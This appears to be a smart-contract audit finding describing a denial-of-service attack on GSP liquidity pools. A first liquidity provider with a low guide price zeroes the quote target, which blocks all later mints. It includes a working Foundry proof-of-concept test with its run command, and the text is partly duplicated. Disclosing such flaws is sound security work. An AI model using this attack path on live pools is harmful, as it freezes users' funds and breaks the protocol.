GSP pool can be permanently paused by gaming the initial liquidity action
Summary
GSP pools with guide price i <= 1e15 can be paused which reverts on next mint. So no new liquidity means no swap actions, making the pool useless
Vulnerability Detail
To make this DOS possible, the attacker should target pools with guide price <= 1e15 ( which is possible, since the there's a check here with possible range from 0 to 1e36).
And after choosing the pool with i <= 1e15, see if totalShares == 0 (first time mint or even when all liquidity is pulled Out).
Due to this attack, the quote target will be zero, so it doesnt follow PMM anymore making the pool unusable. So swaps and no mints, except for first LP provider burning his shares.
Check out the below poc for clear attack path
Paste the below code into test/GSPVault.t.sol and run forge t --mt testFirstLpAttack -vvvv
interface IGSP {
function _QUOTE_TARGET_() external view returns (uint112);
function buyShares(address to) external returns (uint256 shares, uint256 baseInput, uint256 quoteInput);
function sync() external;
function init(address maintainer,address baseTokenAddress,address quoteTokenAddress,uint256 lpFeeRate,uint256 mtFeeRate,uint256 i,uint256 k,bool isOpenTWAP) external;
}
contract GspTest is Test {
IGSP gsp;
MockERC20 BASE_TOKEN;
MockERC20 QUOTE_TOKEN;
address constant MAINTAINER = address(0xdead);
uint256 i = 1e18; // 1 USDC = 1 DAI
function setUp() public {
gsp = IGSP(address(new GSP()));
}
function testFirstLpAttack(uint quoteSecondLPamount, uint baseSecondLPamount) public {
vm.assume(baseSecondLPamount > 1000 && baseSecondLPamount < 1000_000e6 * 2); // 1 M$
vm.assume(quoteSecondLPamount > 1000 && quoteSecondLPamount < 1000_000e6 * 2); // 1 M$
uint baseDecimals = 6; // TODO fuzz it
uint quoteDecimals = 6;
MockERC20 C = BASE_TOKEN;
MockERC20 D = QUOTE_TOKEN;
i = 1e6;
uint k = 50000000000000;
C = (new MockERC20("USDC", "USDC", uint8(baseDecimals)));
D = (new MockERC20("DAI", "DAI", uint8(quoteDecimals)));
C.mint(address(this), UINT256_MAX/2);
D.mint(address(this), UINT256_MAX/2);
// initialize
gsp.init(MAINTAINER, address(C), address(D), 0, 0, i, k, true);
// first LP mint
C.transfer(address(gsp), 1001);
D.transfer(address(gsp), 0);
gsp.buyShares(address(this));
assertEq(gsp._QUOTE_TARGET_(), 0); // 0 target
// second Lp mint always fails
C.transfer(address(gsp), baseSecondLPamount);
D.transfer(address(gsp), quoteSecondLPamount);
vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
gsp.buyShares(address(this));
// trying to sync
D.transfer(address(gsp), 1001);
gsp.sync();
// third Lp mint also fails
C.transfer(address(gsp), baseSecondLPamount);
D.transfer(address(gsp), quoteSecondLPamount);
vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
gsp.buyShares(address(this));
}
}
Impact
Pool can be permanently paused by causing Deniel of service.
nuthan2x
high
GSP pool can be permanently paused by gaming the initial liquidity action
Summary
GSP pools with guide price
i <= 1e15
can be paused which reverts on next mint. So no new liquidity means no swap actions, making the pool uselessVulnerability Detail
To make this DOS possible, the attacker should target pools with guide price <= 1e15 ( which is possible, since the there's a check here with possible range from 0 to 1e36).
And after choosing the pool with
i <= 1e15
, see iftotalShares == 0
(first time mint or even when all liquidity is pulled Out).Due to this attack, the quote target will be zero, so it doesnt follow PMM anymore making the pool unusable. So swaps and no mints, except for first LP provider burning his shares.
Check out the below poc for clear attack path
forge t --mt testFirstLpAttack -vvvv
Impact
Pool can be permanently paused by causing Deniel of service.
Code Snippet
Tool used
Manual Review, foundry testing
Recommendation
Modify this line from
GSPFunding.buyShares()
Duplicate of #48